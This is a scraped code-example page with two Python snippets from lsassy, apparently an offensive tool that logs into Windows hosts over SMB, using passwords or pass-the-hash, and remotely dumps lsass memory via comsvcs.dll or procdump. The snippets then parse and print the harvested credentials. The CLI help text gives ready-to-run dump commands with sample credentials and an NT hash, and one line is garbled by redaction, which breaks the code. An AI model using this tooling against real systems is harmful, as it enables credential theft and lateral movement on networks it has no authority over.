Exemplo n.º 1
0
class ImpacketConnection:
    def __init__(self, conn=None, debug=False):
        self._log = Logger(debug)
        self.conn = conn

    @staticmethod
    def from_args(arg, debug=False):
        pattern = re.compile(
            r"^(?:(?P<domain_name>[a-zA-Z0-9._-]+)/)?(?P<username>[^:/]+)(?::(?P<password>.*))?@(?P<hostname>[a-zA-Z0-9.-]+):/(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$"
        )
        matches = pattern.search(arg.target)
        if matches is None:
            raise Exception(
                "{} is not valid. Expected format : [domain/]username[:password]@host:/share_name/path/to/file"
                .format(arg.target))
        domain_name, username, password, hostname, share_name, filePath = matches.groups(
        )
        if matches.group("domain_name") is None:
            domain_name = "."
        if matches.group("password") is None and arg.hashes is None:
            import getpass
            password = getpass.getpass(prompt='Password: '******':' in arg.hashes:
                lmhash, nthash = arg.hashes.split(':')
            else:
                lmhash = 'aad3b435b51404eeaad3b435b51404ee'
                nthash = arg.hashes
        else:
            lmhash = ''
            nthash = ''
        return ImpacketConnection(debug=debug).login(
            hostname, domain_name, username, password, lmhash,
            nthash), share_name, filePath

    def login(self, ip, domain_name, username, password, lmhash, nthash):
        try:
            ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0]
        except gaierror:
            raise Exception(
                "No DNS found to resolve %s.\n"
                "Please make sure that your DNS settings can resolve %s" %
                (ip, ip))
        conn = SMBConnection(ip, ip)
        username = username.split("@")[0]
        self._log.debug("Authenticating against {}".format(ip))
        try:
            conn.login(username,
                       password,
                       domain=domain_name,
                       lmhash=lmhash,
                       nthash=nthash,
                       ntlmFallback=True)
            self._log.debug("Authenticated")
        except SessionError as e:
            e_type, e_msg = e.getErrorString()
            self._log.error("{}: {}".format(e_type, e_msg))
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                domain_name, username, password))
            sys.exit(1)
        except Exception as e:
            raise Exception("Unknown error : {}".format(e))
        self.conn = conn
        return self

    def connectTree(self, share_name):
        return self.conn.connectTree(share_name)

    def openFile(self, tid, fpath):
        while True:
            try:
                fid = self.conn.openFile(tid,
                                         fpath,
                                         desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self.conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self.conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self.conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self.conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self.conn.readFile(tid, fid, offset, size, singleCall=False)

    def close(self):
        self.conn.close()
Exemplo n.º 2
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter)

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--method',
                            action='store',
                            default="1",
                            help='''Dumping method
    0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    group_dump.add_argument('--dumpname',
                            action='store',
                            help='Name given to lsass dump (Default: Random)')
    group_dump.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='Procdump path')
    group_dump.add_argument(
        '--timeout',
        default="10",
        action='store',
        help='Timeout before considering lsass was not dumped successfully')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')

    parser.add_argument(
        '-r',
        '--raw',
        action='store_true',
        help=
        'No basic result filtering (Display host credentials and duplicates)')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        return 1

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    try:
        conn = ImpacketConnection.from_args(args, logger)
    except Exception as e:
        logger.error("Connexion refused")
        logger.debug("Error : {}".format(e))
        return 2

    dumper = None
    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        ifile = dumper.dump()
        if not ifile:
            logger.error("Process lsass.exe could not be dumped")
            return 3
        logger.success("Process lsass.exe has been dumped")
    else:
        ifile = ImpacketFile(conn, logger)
        try:
            ifile.open(args.dumppath)
        except Exception as e:
            logger.error(
                "lsass dump file does not exist. Use --debug flag for more details"
            )
            logger.debug("Error : {}".format(str(e)))
            return 4
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
    return 0